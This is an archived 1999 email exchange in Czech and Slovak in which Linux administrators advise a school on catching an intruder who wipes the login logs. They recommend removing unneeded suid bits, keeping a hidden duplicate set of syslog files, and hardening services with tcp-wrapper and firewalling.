kdy by si je ten 'hacker' nasel a mazal je znovu ... tedy zbytecne mnoho prace a vysledek zadny. > Nebo ho nekdo neustale "cisti". Zjistil jsem, ze prikaz last, bez > dalsich > parametru hleda standartne soubor wtmp ve /var/log/. > Ale zadate li last -f /cesta_k_souboru tak hleda jiny. Mate spravne nastavena prava na soubor /var/log/wtmp? Mela by byt napr. nasledujici: -rw-rw-r-- 1 root utmp 73728 Nov 2 09:38 wtmp Tedy normalni uzivatel nesmi mit pravo zapisu do tohoto adresare ... Pokud ovsem ten vas hacker jiz ma rootovska prava, tak vam to nepomuze. Doporucuji zhruba takovyto pristup: 1) Najdete vsechny suid binarni soubory na disku a zkontrolujte, zda opravdu maji byt suid, a co nejvice suid seberte (chmod -s file) (pro korektni funkci Linuxu postaci, aby suid byl /bin/passwd, popr /bin/su). To nalezeni je takto: find / -user root -perm +6000 -print 2) Zkopirujte soubor /etc/syslog.conf napr. do /etc/.syslog a nastavte mu prava rw------ (aby normalni uzivatel tento soubor cist nemohl) a za kazdy radek, ktery byl v syslog.conf, si pripiste do .syslog ten samy, ale s jinym adresarem a jmenem souboru ... tedy napr.: pokud byl v /etc/syslog.conf takovyto: *.info;mail.none;authpriv.none /var/log/messages authpriv.* /var/log/secure mail.* /var/log/maillog =2E.. atd ... tak /etc/.syslog bude napr. takovyto: *.info;mail.none;authpriv.none /var/log/messages *.info;mail.none;authpriv.none /usr/X11R6/lib/share/var/log/messages authpriv.* /var/log/secure authpriv.*=09=09=09 /usr/X11R6/lib/share/var/log/secure mail.* /var/log/maillog mail.* /usr/X11R6/lib/share/var/log/maillog A hlavne adresari /usr/X11R6/lib/share/var/ nastavte prava r-x------- !!! (vlastnik uzivatel root) 3) Soubor, kterym startujete syslogd (dejme tomu, ze je to /etc/rc.d/initd/syslog) nastavte prava rwx------- a radek, kde se startuje syslog (napr.): daemon syslogd -m 10 prepiste na: daemon syslogd -m 10 -f /etc/.syslog =3D=3D=3D=3D Toto je jen jedna z nejjednodussich cest, jak dopadnout mene vzdelaneho 'hackera' - script kiddies a podobne ... Ted proste kontrolujte, zda obe kopie logu souhlasi a snazeji se vam dopadne vinik. Samozrejme to neresi wtmp, ale da se z toho zjistit, kdo byl kdy nalogovan a kdy byly provedeny zmeny v logu. Mozna i po odebrani suid bitu u programu 'hackerovi' vubec znemoznite praci (pokud vyuzival buffer overflow v nekterych suid) ... Pokud je to ale opravdovy hacker, tak se mu podari i takovouto pasticku obejit a budete muset vymyslet nejaky rafonovanejsi zpusob, jak ho dostat. Lovu zdar! a hezkej den --=20 < Martin Ma=E8ok (e) {martin.macok@underground.cz} =20 \ (h) {kocour.ms.mff.cuni.cz/}~macok/ (w) {underground.cz/} / \\\\\ any OS that doesn't make me look ///// \\\ like a random mouse-clicking idiot is a Good Thing (c) /// From - Tue Nov 02 19:06:13 1999 Received: from fornax.elf.stuba.sk ([147.175.111.112]) by smtp.kamarad.cz with Microsoft SMTPSVC(5.5.1877.197.19); Tue, 2 Nov 1999 10:16:01 +0100 Received: from localhost ({glip@localhost}) by fornax.elf.stuba.sk (8.9.3/8.8.7) with ESMTP id KAA24036 for <{srptvi@kamarad.cz}>; Tue, 2 Nov 1999 10:19:04 +0100 X-Authentication-Warning: fornax.elf.stuba.sk: glip owned process doing -bs Date: Tue, 2 Nov 1999 10:19:03 +0100 (CET) From: A young dragon <{glip@cyber-wizard.com}> X-Sender: {glip@fornax.elf.stuba.sk} To: {srptvi@kamarad.cz} Subject: Re: dotaz In-Reply-To: <{381C601F.459B@kamarad.cz}> Message-ID: <{Pine.LNX.4.10.9911021000440.7226-100000@fornax.elf.stuba.sk}> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Return-Path: {glip@cyber-wizard.com} X-Mozilla-Status: 0011 Content-Length: 2592 Zdravim... > Obracim se na Vas jako na odbornika na Linux. Neviem sice ako ste prisli prave na mna, ale budiz ;] > Mame na nasi skole problem s hackery. Proto take pisu castecne jako > anonym. > Omlouvam se. Neslo by nejak prinutit system Linux, aby logoval jinam nez > do souboru /var/log/wtmp ? Tento soubor totiz neobsahuje korektni > informace. > Nebo ho nekdo neustale "cisti". Zjistil jsem, ze prikaz last, bez > dalsich > parametru hleda standartne soubor wtmp ve /var/log/. > Ale zadate li last -f /cesta_k_souboru tak hleda jiny. last -f je dobry na citanie zazalohovanych starych logov. So zapisovanim je ten problem, ze kazdy soft to robi vo vlastnej rezii. Takze to treba prepisat vo vsetkych binarkach, ktore do wtmp zapisuju (ktore to su netusim, je ich spusta [login, sshd, xterm, screen, ... ]), alebo to prepisat v zdrojakoch a vsetky prekompilovat. Ovela jednoduchsie bude system preinstalovat a hned od zaciatku sa trochu venovat bezpecnosti. Teda v prvom rade nakonfigurovat tcp-wrapper a povolit prihlasovanie iba z niektorych adries (pripadne ak je to mozne iba cez ssh), skontrolovat na ktorych portoch nieco visi (prezriet /etc/inetd.conf a zakazat co naozaj netreba, skontrolovat zvysok cez 'netstat -an | grep LISTEN' a zistit, co na ktorom porte visi, atd.). Hlavne odporucam nepouzivat ak naozaj netreba a ked tak len cez tcp-wrapper veci typu pop3, imap, ftp (hlavne nie anonymne). Odporucam mat nainstalovanu najnovsiu verziu sendmailu a snazit sa ho obcas updatovat. Dalej by sa zislo najst na disku vsetky suid subory a overit si, ci ho naozaj potrebuju (alebo ci sa vobec budu pouzivat), ak nie, tak im ho zrusit. A dobre by bolo trochu sa pohrat aj s firewallingom (ipchains). Hlavne vsak na skolskych serveroch treba mat prehlad, co robia ludia, vacsina utokov totiz nepochadza zo siete, ale z vnutra (pripadne cez niekoho konto). No a pripadne treba sledovat zdroje o (ne)bezpecnosti (bugtraq, rootshell, atd.) a ratat s tym, ze ziadna ochrana nie je dokonala a obcas sa diera pritrafi aj v lepsich rodinach ;] -- . , Glip . ,`o--. -- ____.....------.' .,' ,,~'' `,------.....____ ''''` `---.:: ,': ; ,' ;`. ;;.---' '```` ` `:__`-._ `.`., _,-'__;' ' SysAdmin TEMPEST s.r.o. ` `---`---'`'`---'---' ' Phone: +421-7-69254111 glip@cyber-wizard.com_____ \`--'/`,,___________{glip.planet.sk/} ``` ''' (c) Jan Janda